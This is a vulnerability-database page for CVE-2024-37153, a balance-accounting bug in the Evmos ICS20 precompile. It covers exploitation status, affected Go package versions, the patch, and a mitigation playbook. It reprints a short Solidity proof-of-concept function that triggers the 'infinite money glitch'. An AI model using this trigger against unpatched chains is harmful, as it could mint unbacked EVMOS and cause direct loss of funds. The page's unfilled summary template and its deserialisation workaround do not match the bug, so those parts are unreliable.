CVE-2024-37153 is a high-severity (CVSS 7.5) CWE-670 vulnerability in github.com/evmos/evmos/v18. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/evmos/evmos/v18 — see the affected versions and patch details below.
Evmos's contract balance not updating correctly after interchain transaction
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-37153.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/evmos/evmos/v18🐹github.com/evmos/evmos/v17🐹github.com/evmos/evmos/v16🐹github.com/evmos/evmos/v15🐹github.com/evmos/evmos/v14🐹github.com/evmos/evmos/v13🐹github.com/evmos/evmos/v12🐹github.com/evmos/evmos/v11+5 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
Details
We discovered a bug walking through how to liquid stake using Safe which itself is a contract. The bug only appears when there is a local state change together with an ICS20 transfer in the same function and uses the contract's balance, that is using the contract address as the sender parameter in an ICS20 transfer using the ICS20 precompile
Proof of Concept
// This function does not reduce the contract balance correctly but liquid stakes correctly
function transfer(
string memory sourcePort,
string memory sourceChannel,
string memory denom,
uint256 amount,
string memory receiver,
string memory evmosReceiver
) external returns (uint64 nextSequence) {
counter += 1; # Only happens when there is a local state update together with an ICS20 Transfer
Height memory timeoutHeight = Height(100, 100);
string memory memo = buildLiquidStakeMemo(receiver, evmosReceiver);
return ICS20_CONTRACT.transfer(
sourcePort,
sourceChannel,
denom,
amount,
address(this), # this is the sender address which is the contract
receiver,
timeoutHeight,
0,
memo
);
}
Impact
This is in essence the "infinite money glitch" allowing contracts to double the supply of Evmos after each transaction.
Severity
Based on ImmuneFi Severity Classification System the severity was evaluated to Critical since the attack could have lead to create new supply of EVMOS and therefore lead to Direct loss of funds's value.
Patches
The issue has been patched in versions >=V18.1.0.
For more information
If you have any questions or comments about this advisory:
Reach out to the Core Team in Discord Open a discussion in evmos/evmos Email us at [email protected] for security questions
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/evmos/evmos/v18 | all versions | 18.1.0go get github.com/evmos/evmos/v18@v18.1.0 |
| 🐹Go | github.com/evmos/evmos/v17 | all versions | 18.1.0go get github.com/evmos/evmos/v17@v18.1.0 |
| 🐹Go | github.com/evmos/evmos/v16 | all versions | 18.1.0go get github.com/evmos/evmos/v16@v18.1.0 |
| 🐹Go | github.com/evmos/evmos/v15 | all versions | 18.1.0go get github.com/evmos/evmos/v15@v18.1.0 |
| 🐹Go | github.com/evmos/evmos/v14 | all versions | 18.1.0go get github.com/evmos/evmos/v14@v18.1.0 |
| 🐹Go | github.com/evmos/evmos/v13 | all versions | 18.1.0go get github.com/evmos/evmos/v13@v18.1.0 |
Affected Products
evmosevmosResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/evmos/evmos/v18, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/evmos/evmos/v18 to 18.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-37153 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2024-37153 in your dependencies?
Find it across Go, including transitive dependencies.